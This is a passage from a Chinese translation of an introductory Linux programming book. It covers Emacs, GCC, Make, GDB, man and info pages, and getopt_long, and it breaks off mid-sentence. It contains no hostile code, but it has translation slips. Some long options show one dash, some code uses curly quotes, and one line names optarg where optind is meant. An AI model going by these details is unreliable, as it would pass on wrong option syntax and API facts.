第一章:起步 本章将向你展示如何在 Linux 系统中完成一个 C/C++ 程序的基本步骤。具体来说,本 章讲解了如何在 Linux 系统中编辑 C 和 C++ 源码,编译并调试得到的程序。如果你已经对 Linux 环境下的程序编写相当熟悉,则完全可以跳过本章内容,直接开始阅读第二章,“编 写优质的 GNU/Linux 软件”。第二章中 2.3 节“编写及使用程序库”中包含了对静态和动态 库的比较,这也许是你还不知道的内容,值得关注。 我们在编写本书的时候,假定你已经对 C 或 C++ 程序设计语言以及标准 C 库的函数相 当熟悉。除了为展示有关 C++ 独有的特性的情况时,书中的示例代码均用 C 语言写就。同 时,我们还假定你知道如何在 Linux shell 中执行一些基本操作,例如创建文件夹和复制文件 等。因为许多 Linux 程序员都是在 Windows 环境下开始的编程,我们会在一些时候特别指 出两个平台上的不同点。 1.1 用 Emacs 进行编辑 编辑器(editor)是用于编辑代码的工具程序。Linux 平台上有各种不同的编辑器,但是 最流行的、提供了最丰富特色的,当属 GNU Emacs 了。 关于 Emacs Emacs 决不仅仅是一个编辑器。它是一个出奇强大的程序。在 CodeSourcery, 它被亲切地称为“the One True Program” (译者注:记得 Matrix 里的 The One 吧^_^) 或者直接简称 OTP。在 Emacs 中你可以查阅、发送电子邮件,你可以将 Emacs 进 行任意的定制与扩充;可能性太多以至于不适合在这里进行讨论了。你甚至可以 在 Emacs 中浏览网页! 如果你熟悉其它的编辑器,你当然可以选择使用它们。本书中的任何内容都不会依赖 Emacs 的特性。不过,如果你仍然没有一个习惯使用的 Linux 下的编辑器,那么你应该跟随 这篇不长的教程,尝试学习一下 Emacs 的使用。 如果你喜欢 Emacs 并希望对它的高级特性了解得更多,你或许应该考虑阅读其它一些 关于 Emacs 的书籍。有一篇非常不错的教程,《学习 Emacs》(Learning GNU Emacs),作者 是 Debra Cameron、Bill Rosenblatt 和 Eric S. Raymond(O’Reilly 公司于 1996 年出版。该书 已由机械工业出版社翻译并出版,书名《学习 GNU Emacs(第二版)》)。 1.1.1 打开 C/C++代码文件 要运行Emacs,你只需在终端窗口中输入emacs并回车。当Emacs开始运行之后,你可以 利用窗口顶部的菜单创建一个新的文件。点击“文件File”菜单,选择“打开文件Open Files”, 然后在窗口底部的“minibuffer”中输入你希望打开的文件的名字。1如果你要创建的是一篇 C 代 码 , 则 后 缀 名 应 该 选 择 .c 或 .h 。 如 果 创 建 的 是 C++ 代 码 , 后 缀 名 应 在 .cpp、.hpp、.cxx、.hxx、.C或者 .H中选择。当文件被打开之后,你可以像是使用其它 任何字处理程序一样进行输入。保存文件只需要从文件菜单中选择“保存缓冲区Save Buffer” 即可。当你准备退出Emacs的时候,只需从文件菜单选择“退出Emacs Exit Emacs”就可以。 www.AdvancedLinuxProgramming.com 5 1 如果你不是在X窗口系统中使用Emacs,你需要通过F10 键来访问菜单。 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 如果你不喜欢用鼠标指点江山,你可以选择使用键盘快捷键完成这些操作。输入 C-x C-f 可以打开文件(C-x 的意思是按下 Ctrl 键的同时按 x 键)。C-x C-s 是保存文件,而 C-x C-c 则是退出 Emacs。想要进一步熟悉 Emacs,可以从帮助菜单中选择 Emacs 指南(Emacs Tutorial)。这份文档中提供了无数帮助你更快捷有效地使用 Emacs 的技巧。 1.1.2 自动化排版 如果你已经习惯了在集成开发环境(Integrated Development Environment, IDE)中编写 程序,你一定乐意由编辑器自动帮助你对代码进行排版。Emacs 同样提供了这种功能。当你 打开一个 C/C++ 代码的时候,Emacs 自动识别出这是一篇代码而不仅是普通文本文件。当 你在一个空行中点下 Tab 键的时候,Emacs 会将光标移动到合适的缩进位置。如果你在一个 已经包含了内容的行中点击 Tab 键,Emacs 会将该行文字缩进到合适的地方。假设你输入了 下面几行文字: int main () { printf (“Hello, world\n”); } 当你在调用 printf 的一行点下 Tab 键的时候,Emacs 会将代码重新排版成这个样式: int main () { printf (“Hello, world\n”); } 注意中间一行被添加了合适的缩进。 当你更多地使用Emacs之后,你会发现它会帮你解决各种复杂的排版问题。如果你有兴 趣,你甚至可以对Emacs进行程序控制,让它完成任何你可以想象得到的自动排版工作。人 们利用Emacs的这个能力,为几乎任何种类的文档实现了Emacs编辑模式,甚至实现了游戏2 和数据库前端。 1.1.3 语法高亮 除了对代码进行排版,Emacs 可以通过对 C 或 C++ 程序的不同元素加以染色以方便阅 读。例如,Emacs 可以将关键字转为一种颜色,int 等内置类型使用第二种颜色,而对注释 使用第三种颜色等。通过染色,你可以很轻松地发现一些简单的语法错误。 最简单的打开语法染色功能的途径是在 ~/.emacs 文件中插入下面一行文字: (global-font-lock-mode t) 将这个文件保存,然后退出并重新启动 Emacs,再打开那些 C/C++ 代码,开始享受吧! 你可能注意到,刚才插入 .emacs 文件的文字看起来像是 LISP 程序语言的代码。这是 因为,那根本就是 LISP 代码!Emacs 的很大部分都是用 LISP 实现的。你可以通过编写 LISP 代码为 Emacs 加入更多的功能。 www.AdvancedLinuxProgramming.com 6 2如果你对那些老式的文本模式冒险游戏有兴趣的话,试着运行M-x dunnet命令。 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 1.2 用 GCC 编译 编译器可以将人类可读的程序代码转化为机器可以解析执行的对象代码。Linux系统中 提供的编译器全部来自GNU编译器集合(GNU Compiler Collection),通常被称为GCC。3 GCC 中包含了C、C++、Java、Objective-C、Fortran和Chill语言的编译器。本书中我们主要关注的 是C和C++ 语言的程序设计。 假设你有一个项目,其中包含一个如列表 1.2 中所示的C++ 程序(reciprocal.cpp)和 一个如列表 1.1 所示的C程序(main.c)。这两个文件需要被编译并链接成为一个单独的程序 reciprocal。4 这个程序可以计算一个整数的倒数。 代码列表 1.1 (main.c)C 源码——main.c #include <stdlib.h> #include <stdio.h> #include “reciprocal.hpp” int main (int argc, char **argv) { int i; i = atoi (argv[1]); printf (“The reciprocal of %d is %g\n”, i, reciprocal (i)); return 0; } 代码列表 1.2 (reciprocal.cpp)C++源码——reciprocal.cpp #include <cassert> #include “reciprocal.hpp” double reciprocal (int i) { // i 不能为 0 assert (i != 0); return 1.0/i; } 还有一个包含文件 reciprocal.hpp(列表 1.3 中)。 代码列表 1.3 (reciprocal.hpp)包含文件——reciprocal.hpp www.AdvancedLinuxProgramming.com 7 3 请访问http://gcc.gnu.org 获取更多GCC相关的信息。 4 在Windows系统中,可执行程序的名称通常以 .exe结尾,而在Linux中通常没有后缀名。因此在Windows 中,这个程序可能被称为reciprocal.exe而Linux版本则是简单的reciprocal。 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 #ifdef __cplusplus extern “C” { #endif extern double reciprocal (int i); #ifdef __cplusplus } #endif 我们要做的第一步,就是将代码文件转化为对象文件。 1.2.1 编译单个代码文件 C 程序编译器是 gcc。可以通过指定 –c 选项编译 C 源码文件。因此,输入下面这一条 命令可以将 main.c 文件编译成名为 main.o 的对象文件: % gcc –c main.c C++编译器是 g++。它的操作方式与 gcc 非常相似。下面一行命令可以完成对 reciprocal.cpp 的编译: % g++ -c reciprocal.cpp 在这里,选项 –c 通知编译器只产生对象文件;否则编译器会尝试链接程序并产生最终 的可执行文件。在执行完第二个命令之后你应该得到的是一个名为 reciprocal.o 的对象文件。 要构建一个大型的程序,你可能还需要熟悉其它一些选项。-I 选项会告诉编译器去哪里 寻找包含文件。默认情况下,GCC 会在当前目录及标准库的包含文件所在的路径搜索程序 所需的包含文件。如果你需要从其它的路径中搜索包含文件,你就需要通过 –I 选项指定这 个路径。假设你的项目中包含一个用于保存源码文件的 src 目录,以及一个用于存放包含文 件的 include 目录。你必须这样编译 reciprocal.cpp,以使 g++能够从../include 文件夹中搜索 reciprocal.hpp 文件: % g++ -c –I ../include reciprocal.cpp 有时你会希望从编译命令中定义一些宏。例如,在发布版的程序中,你不希望在 reciprocal.cpp 中出现多余的断言检查——断言只有在程序的调试阶段才能起到相应的作 用。NDEBUG 宏可以用于关闭断言检查。你可以在 reciprocal.cpp 中添加 #define 语句,但 是这要求对源码的修改。更简单的方法是像这样直接通过命令行定义 NDEBUG 宏: % g++ -c –D NDEBUG reciprocal.cpp 如果你希望将 NDEBUG 宏定义为某个特定的值,下面这个命令行可以做到: % g++ -c –D NDEBUG=3 reciprocal.cpp 如果你现在编译的正是准备发布的版本,你或许希望 GCC 能将得到的代码尽量优化以 提高运行速度。你可以通过指明 -O2 选项要求 GCC 进行代码优化。(GCC 有许多不同等级 的代码优化,不过 2 级对多数情况都是适当的。)下面的命令可以打开优化并编译 reciprocal.cpp: % g++ -c –O2 reciprocal.cpp 需要注意的是,优化选项会导致你的程序难以被调试程序(参考 1.4 节,“用 GDB 进行 调试”)调试。此外,在某些特例中,启用了优化的编译可能会将一些之前没有被发现的 bug www.AdvancedLinuxProgramming.com 8 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 显现出来。 Gcc 和 g++ 还支持其它许多选项。获取完整列表的最佳方式是阅读相应的在线文档。 可以在命令行下输入以下命令以获取文档: % info gcc 1.3 用 GNU Make 自动完成编译过程 如果你习惯于 Windows 环境下的程序设计,你一定非常熟悉各种继承开发环境(IDE) 的使用。你只需将代码文件加入工程,IDE 会自动帮你完成编译构建的过程。尽管在 Linux 平台上也有一些 IDE 实现,本书中我们不会进行讨论。相反的,我们要介绍的是如何利用 GNU Make 程序自动编译你的代码——这才是每个 Linux 程序员的工作方式。 Make 程序背后隐藏的理念是非常简单的。你告诉 make 程序你需要完成什么目标 (target),以及达成这些目标的规则(rules)。你还可以通过指定依赖关系(dependency)指 明需要重新构建某些目标的条件。 在我们的示例项目 reciprocal 中,有三个目标是非常明显的:reciprocal.o、main.o 和 reciprocal 程序自己。在之前手工编译的过程中,你已经理清了构建这些目标的规则。依赖 性则需要进一步的理解。很清楚的,reciprocal 依赖于 main.o 和 reciprocal.o,因为没有这 两个对象文件的话,你无法进行链接。而每当源码文件被修改之后,对象文件都应被重新编 译。还有一个需要注意的地方,就是如果 reciprocal.hpp 文件被修改,则两个对象文件均应 被重新编译。这是因为两个对象对应的源码文件都包含了这个文件。 除了这些显而易见的目标,你始终应该指定一个名为 clean 的目标。这个目标对应的规 则是删除所有编译生成的对象文件和程序文件,因此下次编译将是从头开始。这个目标的规 则通常使用 rm 命令进行删除操作。 你可以通过一个 Makefile 将这些信息告诉 make 程序。这个 Makefile 可以写成这样: reciprocal: main.o reciprocal.o g++ $(CFLAGS) –o reciprocal main.o reciprocal.o main.o: main.c reciprocal.hpp gcc $(CFLAGS) –c main.c reciprocal.o: reciprocal.cpp reciprocal.hpp g++ $(CFLAGS) –c reciprocal.cpp clean: rm –f *.o reciprocal 可以看出,目标写在最左侧一列,之后跟随一个冒号,然后是所有依赖项。用于构建目 标的对应规则写在紧接着的下一行。(暂时忽略 $(CFLAGS) 这些东西,我们稍候会讲解。) 包含规则的行必须以一个 Tab 字符(退格键)起头,否则 make 程序将无法识别。如果你用 Emacs 编辑 Makefile,Emacs 会帮助你打理排版方面的细节。 如果你已经删除了编译得到的对象文件,你只需要在命令行中输入 % make 然后你就会看见这样的输出: www.AdvancedLinuxProgramming.com 9 % make 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 gcc –c main.c g++ -c reciprocal.cpp g++ -o reciprocal main.o reciprocal.o 可以看出,make 自动建立了这些对象文件并完成了链接的步骤。如果你现在对 main.c 稍加修改,然后重新输入 make 命令,你将会看见下面的输出: % make gcc -c main.c g++ -o reciprocal main.o reciprocal.o 可以看出,make 正确地选择了重新编译生成 main.o 并重新链接整个程序,而没有去碰 reciprocal.cpp,因为 reciprocal.o 的任何一个依赖项都没有发生改变。 前面看到的 $(CFLAGS) 是一个 make 变量。你可以在 Makefile 中定义这个变量,也 可以在命令行中定义。GNU make 会在执行这个规则的时候将变量的值代入。因此,假如要 让编译器打开优化并重新编译程序,你可以这样操作: % make clean rm –f *.o reciprocal % make CFLAGS=-O2 gcc -O2 –c main.c g++ -O2 –c reciprocal.o g++ -O2 –o reciprocal main.o reciprocal.o 应该注意到,-O2 被替换到了先前每个 $(CFLAGS) 出现的地方。 在这一小节中,我们只向你展示了 make 最基本的用途。你可以通过下面这个命令获取 更多的信息: % info make 在这份手册中,你会看到如何简化对 Makefile 的维护,如何降低必须写的规则数量, 以及如何自动计算依赖性关系等。你还可以从《GNU, Autoconf, Automake, and Libtool》一 书中找到更多的相关信息(作者:Gary V.Vaughan, Ben Elliston, Tom Tromey 以及 Ian Lance Taylor,2000 年由 New Riders 出版社出版)。 1.4 用 GDB 进行调试 调试器是一个工具,可以用来帮助你检查为什么程序行为与预期不同。你将经常进行这 样的检查工作5。GNU调试器(The GNU Debugger, GDB)是一个被多数Linux程序员使用的 调试器程序。利用GDB,你可以单步跟踪你的程序,设置断点以及检查局部变量的值。 1.4.1 在编译时加入调试信息 要使用 GDB,你必须在编译时为对象文件加入调试信息。只需在编译器选项中加入 –g 就可以做到这点。如果你使用前面介绍的 Makefile,你可以在运行 make 的时候将 CFLAGS www.AdvancedLinuxProgramming.com 10 5 ……除非你的程序每次都在第一遍就工作正常。 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 设置为 –g,如下所示: % make CFLAGS=-g gcc –g –c main.c g++ -g –c reciprocal.cpp g++ -g –o reciprocal main.o reciprocal.o 当你指定 -g 选项编译的时候,编译器会在生成的对象文件和执行文件中加入额外的信 息。调试器则可以通过这些信息获取地址与源码位置的对应关系、局部变量的输出方法等信 息。 1.4.2 运行 GDB 你可以通过输入下面的命令启动 gdb: % gdb reciprocal 当 gdb 启动之后,你应该会看见它的提示符: (gdb) 第一步要做的就是在调试器中运行你的程序:输入命令 run,之后跟着运行程序需要的 所有参数。试着这样不提供参数运行这个程序: (gdb) run Starting program: reciprocal Program received signal SIGSEGV, Segmentation fault. __strtol_internal (nptr=0x0, endptr=0x0, base=10, group=0) at strtol.c:287 287 strtol.c: No such file or directory. (gdb) 出现这个问题的原因在于 main 函数中没有用于检查错误情况的代码。程序希望得到一 个参数,而在这次调用过程中它没有得到需要的参数。那条 SIGSEGV 的消息标志着程序的 崩溃。GDB 知道程序实际是在 __strtol_internal 这个函数中崩溃的。这个函数属于标准哭 的一部分,而标准库的源码并没有安装在系统中,所以会出现“No such file or directory”(找 不到文件或目录)的提示信息。你可以通过 where 命令查看调用堆栈: (gdb) where #0 _strtol_internal (nptr=0x0, endptr=0x0, base=10, group=0) at strtol.c:287 #1 0x40096fb6 in atoi (nptr=0x0) at ../stdlib/stdlib.h:251 #2 0x804863e in main (argc=1, argv=0xbffff5e4) at main.c:8 可以看出,main 函数以一个 NULL 指针为参数调用了 atoi,而正是它导致了问题的出 现。 你可以通过 up 命令沿着调用堆栈向上回溯两层,回到 main 函数中: (gdb) up 2 #2 0x804863e in main (argc=1, argv=0xbffff5e4) at main.c:8 8 i = atoi (argv[1]); www.AdvancedLinuxProgramming.com 11 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 可以发现,gdb 找到了 main.c,并且现实了出错的函数调用所在处的代码。你可以用 print 命令查看变量的值: (gdb) print argv[1] $2 = 0x0 这再次证实了出错的原因是传递给 atoi 的 NULL 指针在作怪。 你可以利用 break 命令为程序设置断点: (gdb) break main Breakpoint 1 at 0x804862e: file main.c, line 8. 这个命令在main函数的第一行设置了断点。6现在试着运行这个程序。这次我们传递一 个参数: (gdb) run 7 Starting program: reciprocal 7 Breakpoint 1, main (argc=2, argv=0xbffff5e4) at main.c:8 8 i = aatoi (argv[1]); 你会看见,调试器在断点处停止了程序的运行。 利用 next 命令你可以单步追踪程序直到调用 atoi 的位置: (gdb) next 9 printf (“The reciprocal of %d is %g\n”, i, reciprocal (i)); 如果你希望看到 reciprocal 函数里面做了什么,则应改用 step 命令: (gdb) step reciprocal (i=7) at reciprocal.cpp:6 6 assert (i != 0); 你现在所处的就是 reciprocal 函数的内部。 你也许会发现,从 Emacs 中运行 gdb 比在命令行中直接运行 gdb 更方便。可以通过命 令 M-x gdb 在一个 Emacs 窗口中启动 gdb 调试器。当你在一个断点处停止的时候,Emacs 会自动现实对应的源码文件。通常来说,相比只能看见一行程序的情况,能够通读整个文件 更容易让你找到头绪。 1.5 获取更多信息 几乎所有 Linux 发行版都会提供大量的有用的文档。你可以通过阅读你的发行版提供的 文档以理解本书中我们提到的大多数问题(尽管这样可能会耗去你更多的时间)。这些文档 可能并未被很好地组织,所以难处就在于,如何找到你想要的信息。有时候,文档可能会过 期,所以在阅读的时候要抱着怀疑论的观点。假如你发现系统的工作方式与 man page(manual pages,手册页)所说的不同,很可能这些手册页就是过期的。 www.AdvancedLinuxProgramming.com 12 6 有人说break main(打破main)这个说法有些可笑,因为通常来说只有当main函数已经坏掉(broken) 的时候你才需要做这件事。 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 为帮助你更快地上手,这里我们列出了一些有关 Linux 程序设计的有用信息: 1.5.1 手册页 Linux 发行版包含了有关常用命令、系统调用和库函数的手册页。手册页被分成不同的 章节并分别标以序号;对于程序员而言,最重要的是这些: (1)用户命令 (2)系统调用 (3)标准库函数 (8)系统/管理员命令 这些数字就是手册页所在的章节。Linux 的手册页已经被安装在系统中;你可以通过 man 命令查看它们。要查看一个手册页,只需要执行 man name,这里 name 是一个命令或 函数的名字。在某些情况下,不同章节中可能包含具有相同名字的手册页;你可以通过在 name 之前插入指定的章节号。例如,当运行下面的命令的时候,你会得到 sleep 命令的手 册页(在 Linux 手册第一节中): % man sleep 如果要查看 sleep 库函数的手册页,则需要使用下面的命令: % man 3 sleep 每个手册页都包含了一行对命令或函数的介绍。运行 whatis name 会显示系统中所有名 称匹配的、位于任意章节中的所有手册页的介绍。如果你不清楚你要找的命令或函数的名字, 你可以通过 man –k keyword 命令进行查找。 手册页包含了大量非常有用的信息,因此应该成为你遇见任何问题的时候第一个寻求解 决方案的地方。命令相关的手册页介绍了命令行选项、输入输出、错误代码、配置和其它各 种信息。系统调用和库函数的手册页介绍了参数和返回值、可能出现的错误代码和副作用, 以及当你调用这个函数时需要包含的文件。 1.5.2 Info Info 文档系统提供了更加详细的文档,范围涵盖了 GNU/Linux 系统的许多核心部件以 及其它一些程序。Info 页面是一种与 HTML 页面类似的超文本文档。只需要在一个终端窗 口输入 info 就可以启动文本界面的 Info 浏览器。首先你将看到的是在你的系统中已安装的 所有 Info 页面的列表。(按下 Ctrl+H 键会显示用于浏览 Info 文档的键盘配置。) 其中最重要的一些文档包括了: · gcc——GCC 编译器 · libc——GNU C 函数库,包含许多系统调用 · gdb——GNU 调试器 · emacs——Emacs 文本编辑器 · info——Info 系统自己的相关信息 几乎所有的标准 Linux 编程工具(包括链接器 ld、汇编程序 as、性能分析程序 gprof) 都提供了详尽的 Info 页面。你可以通过在命令行中指点名字,直接跳到有关的 Info 页: % info libc 如果你在 Emacs 中完成多数的编程任务,你可以使用 Emacs 内置的 Info 浏览器。它的 调用命令是 M-x info 或 C-h i。 www.AdvancedLinuxProgramming.com 13 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 1.5.3 包含文件 你可以通过阅读系统包含文件来获取与系统函数相关的知识。这些包含文件位于 /usr/include 和 /usr/include/sys 目录下。比如当你在使用系统调用的时候出现了编译错误, 你可以直接去查看相应的包含文件以确保函数的签名与手册页中所说的是一致的。 在 Linux 系统中,关于系统调用如何工作的各种细节信息都会从一些包含文件中反应出 来;它们位于 /usr/include/bits、/usr/include/asm 和 /usr/include/sys 目录下。例如,各种信 号(在第三章“进程”3.3 节“信号”中进行了介绍)分别对应的数量值均定义在包含文件 /usr/include/bits/signum.h 中。对于想知根知底的人来说,这些文件是非常值得阅读的。不 过,不要在你的程序中直接包含这些文件;应该使用使用 /usr/include 中的包含文件,除非 是你所使用的函数的手册页中特别指明的。 1.5.4 源码 它是开源的,对吧?对于解释系统如何运行这种问题,最终的仲裁者必然是系统本身的 代码。对于 Linux 程序员来说,非常幸运的是,这些代码是可以自由获取的。通常,你的 Linux 发行版中可能已经包含了整个系统和各种程序的完整源码。如果没有,根据 GNU General Public License,你有权向系统发行者要求获取这些源码。(源码也可能没有被安装在 你的硬盘上。请参阅发行版文档以寻找安装方法。) 通常 Linux 内核的源码被安放在 /usr/src/linux 目录中。如果本书使你对进程、共享内 存和系统设备的工作方式产生了兴趣,你完全可以从这些源码中找到答案。本书中介绍的多 数系统函数都包含在 GNU C 函数库中;请查看发行版文档以获取 C 库源码的安装位置。 www.AdvancedLinuxProgramming.com 14 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 第二章:编写优质 GNU/Linux 软件 本章介绍了多数 GNU/Linux 程序员会使用的一些基本技巧。如果在你的程序中遵循这 些约定,你的程序就可以在 GNU/Linux 系统环境下很好地工作,并且能符合用户关于程序 间协作的习惯与期望。 2.1 与运行环境交互 当你学习C或C++的时候,你会被告知main函数是程序的主入口点。当操作系统执行你 的程序的时候,这个函数会自动帮助程序与操作系统和用户进行沟通。你也许知道main的 两个参数,通常被命名为argc和argv。这两个参数帮助程序获取用户输入。你或许学过为程 序提供终端输入输出的stdout和stdin(或C++程序中的cout和cin流)。这些功能分别由C和 C++语言提供,且以某种方式与GNU/Linux系统交互。GNU/Linux系统也提供了其它的一些 方式供程序与操作环境交互。 2.1.1 参数列表 你可以通过在命令 shell 的提示符后输入一个程序的名字来运行一个程序。你也可以选 择 在 程 序 名 后 跟 一 个 或 多 个 用 空 格 分 隔 的 单 词 。 这 部 分 输 入 被 称 为 命 令 行 参 数 (command-line arguments)。你可以通过将一个参数用引号保护起来,使某个参数内可以包 含空格。更加常见的说法是将它称为参数列表,因为这些参数未必是来自 shell 程序。在第 三章“进程”中你将看到另外调用程序的方法。在这种方法中,一个程序将可以为被调用的 程序直接指定参数列表。 当从 shell 调用一个程序的时候,参数列表中包含了整个命令行,包含了程序的名字和 全部被指定的命令行参数。例如,假设你在你的 shell 中这样执行 ls 显示根文件夹的对应的 大小: % ls –s / 则 ls 程序得到的参数列表将包含三个参数。第一个参数是命令行中指定的程序名 ls。 参数列表中的第二和第三个参数则是命令行中指定的 -s 和 / 这两个参数。 程序的 main 函数可以通过参数 argc 和 argv 来访问程序的参数列表(如果你不需要访 问参数列表,你可以直接忽略它们)。第一个参数 argc 指示了命令行中参数的数量。第二个 参数 argv 是一个字符串数组。数组的大小由 argc 指定,而数组的元素则为各个命令行参数 的元素,表示以 NULL 结束的字符串形式。 使用命令行参数的过程因此被简化为检查 argc 和 argv 的内容。如果你对程序自己的名 字没有兴趣,记得跳过第一个参数。 列表 2.1 展示了使用 argc 和 argv 的方法。 代码列表 2.1 (arglist.c)使用 argc 和 argv #include <stdio.h> int main (int argc, char* argv[]) www.AdvancedLinuxProgramming.com 15 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 { printf (“The name of this program is ‘%s’.\n”, argv[0]); printf (“This program was invoked with %d arguments.\n”, argc - 1); /* 指定了命令行参数么?*/ if (argc > 1) { /* 有,那么输出这些参数。*/ int i; printf (“The arguments are:\n”); for (i = 1; i < argc; ++i) printf (“ %s\n”, argv[i]); } return 0; } 2.1.2 GNU/Linux 系统命令行使用习惯 几乎所有 GNU/Linux 程序都遵循一些处理命令行参数的习惯。程序期望得到的参数可 以被分为两种:选项(options,又作 flags)和其它(非选项)参数。选项用于调整程序的 行为方式,而其它参数提供了程序的输入(例如,输入文件的名字)。 选项通常有两种格式: · 短选项(short options)由一个短杠(hyphen)和一个字符(通常为一个大写或小 写字母)组成。短选项可以方便用户的输入。 · 长选项(long options)由两个短杠开始,之后跟随一个由大小写字母和短杠组成的 名字。长选项方便记忆和阅读(尤其在脚本中使用的时候)。 通常程序会为它支持的选项提供长短两种形式,前者为便于用户理解,而后者为简化输 入。例如,多数程序都能理解 –h 和 –help 这两个参数,并以相同方法进行处理。一般而 言,当从 shell 中调用一个程序的时候,程序名后紧跟的就是选项参数。如果一些选项需要 一个参数,则参数紧跟在选项之后。例如,许多程序将选项 –output foo 解释为“将输出文 件设置为 foo”。在选项之后可能出现其它命令行参数,通常用于指明输入文件或输入数据。 例如,命令行 ls –s / 列举根目录的内容。选项 –s 改变了 ls 的默认行为方式,通知它 为每个条目显示文件大小(以 KB 为单位)。参数 / 向 ls 指明了被列举的目录。选项 –size 与 –s 选项具有相同的含义,因此调用 ls –size / 会得到完全相同的结果。 在 GNU Coding Standards(《GNU 编码标准》)中列举了一些常用的命令行选项的名称。 如果你准备提供与它们相似的选项,你应该选择使用编码标准中指定的名字。这样你的程序 会与其它程序更相类似且更易于用户学习使用。在多数 GNU/Linux 系统中,你可以通过输 入以下命令阅读《GNU 编码标准》中关于命令行选项的指导方针: % info “(standards)User Interfaces” 2.1.3 使用 getopt_long 解析命令行参数是无聊而繁琐的。幸运的是,GNU C 库提供了函数以简化 C/C++程序 中的解析工作(虽然还是有点麻烦)。函数 getopt_long 能够处理长短两种格式的选项。要使 用这个函数,请包含头文件<getopt.h>。 www.AdvancedLinuxProgramming.com 16 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 例如,假设一个程序接受表格 2.1 中列举的三个参数: 表格 2.1 程序选项示例 短格式 长格式 作用 -h --help 显示使用方法,然后退出。 -o filename --output filename 指定输出文件名。 -v --verbose 输出冗余信息。 此外,程序还会接受零个或多个命令行参数作为输入文件。 你需要提供两个数据结构以使用 getopt_long。第一个数据结构是一个字符串,其中包 含了所有有效的短格式选项,每个字母表示一个。如果一个选项要求一个参数标记为在名称 后加一个冒号。对于这个程序而言,字符串 ho:v 指明了程序的可用选项包括 –h,-o 和 –v, 其中第二个选项要求一个参数。 要指明程序接受的长选项,你需要建立一个 struct option 类型的数组。数组的每个元素 都针对一个长选项且每个元素都具有四个域。一般情况下,第一个域是长选项的名字(表示 为一个字符串;不包含选项开始的两个短杠);第二个参数如果为 1 则表示该选项接受一个 参数,否则为 0;第三个域指定为 NULL;第四个参数则为一个字符常量,保存了相同含义 的短选项名。数组中最后一个元素的所有域都应为 0。你可以这样初始化这个数组: const struct option long_options[] = { { “help”, 0, NULL, ‘h’ }, { “output”, 1, NULL, ‘o’ }, { “verbose”, 0, NULL, ‘v’ }, { NULL, 0, NULL, 0 } }; 当你调用 getopt_long 的时候,并且传递给它以下这些参数: 1. main 函数的参数 argc 和 argv; 2. 描述短选项的字符串; 3. 描述长选项的 struct options 数组。 当使用 getopt_long 的时候: · 每次调用 getopt_long 的时候,它解析一个选项,返回这个选项对应的短格式 字母。如果没有其它选项则返回 -1。 · 这个函数的典型用法是在一个循环中不断调用以处理用户指明的所有选项,且 程序在一个 switch 语句中分别处理每个选项。 · 如果 getopt_long 检测到一个无效选项(一个没有被指定为任何长短选项的选 项),它会输出一条错误消息并返回字符’?’(一个英文问号)。多数程序通常 会在这种情况下显示使用帮助并退出。 · 当处理一个带参数的选项时,全局变量 optarg 将指向参数字符串的开始。 · 当 getopt_long 结束处理所有选项之后,全局变量 optarg 包含了第一个非选项 参数在 argv 中的索引。 列表 2.2 中展示了一个使用 getopt_long 处理参数的示例程序。 www.AdvancedLinuxProgramming.com 17 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 代码列表 2.2 (getopt_long.c)使用 getopt_long #include <getopt.h> #include <stdio.h> #include <stdlib.h> /* 程序的名称。*/ const char* program_name; /* 将程序使用方法输出到 STREAM 中(通常为 stdout 或 stderr),并以 EXIT_CODE 为返回 值退出程序。函数调用不会返回。*/ void print_usage (FILE* stream, int exit_code) { fprintf (stream, “Usage: %s options [ inputfile ... ]\n”, program_name); fprintf (stream, “ -h --help Display this usage information.\n” “ -o --output filename Write output to file.\n” “ -v --verbose Print verbose messages.\n”); exit (exit_code); } /* 程序主入口点。ARGC 包含了参数列表中元素的数量;ARGV 是指向这些参数的指针数组。*/ int main (int argc, char* argv[]) { int next_option; /* 包含所有有效短选项字母的字符串。*/ const char* const short_options = “ho:v”; /* 描述了长选项的 struct option 数组。*/ const struct option long_options[] = { { “help”, 0, NULL, ‘h’ }, { “output”, 1, NULL, ‘o’ }, { “verbose”, 0, NULL, ‘v’ }, { NULL, 0, NULL, 0 } /* 数组末要求这样一个元素。*/ }; /* 用于接受程序输出的文件名,如果为 NULL 则表示标准输出。*/ const char* output_filename = NULL; /* 是否显示冗余信息?*/ int verbose = 0; www.AdvancedLinuxProgramming.com 18 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 /* 记住程序的名字,可以用于输出的信息。名称保存在 argv[0]中。*/ program_name = argv[0]; do { next_option = getopt_long (argc, argv, short_options, long_options, NULL); switch (next_option) { case ‘h’: /* -h 或 --help */ /* 用户要求查看使用帮助。输出到标准输出,退出程序并返回 0(正常结束)。*/ print_usage (stdout, 0); case ‘o’: /* -o 或 --output */ /* 此函数接受一个参数,表示输出文件名。*/ output_filename = optarg; break; case ‘v’: /* -v 或 --verbose */ verbose = 1; break; case ‘?’: /* The user specified an invalid option. */ /* 向标准错误输出帮助信息,结束程序并返回 1(表示非正常退出)。*/ print_usage (stderr, 1); case -1: /* 结束处理选项的过程。*/ break; default: /* 别的什么:非预料中的。*/ abort (); } } while (next_option != -1); /* 选项处理完毕。OPTIND 指向第一个非选项参数。 出于演示目的,如果指定了冗余输出选项,则输出这些参数。*/ if (verbose) { int i; for (i = optind; i < argc; ++i) printf (“Argument: %s\n”, argv[i]); } /* 主程序到这里结束。*/ return 0; } 使用 getopt_long 看起来需要不少的工作量,但是如果你尝试自己写代码解析这些参数, 你就会发现这会浪费更多的代码。函数 getopt_long 已经过反复的考验,而且它在程序选择 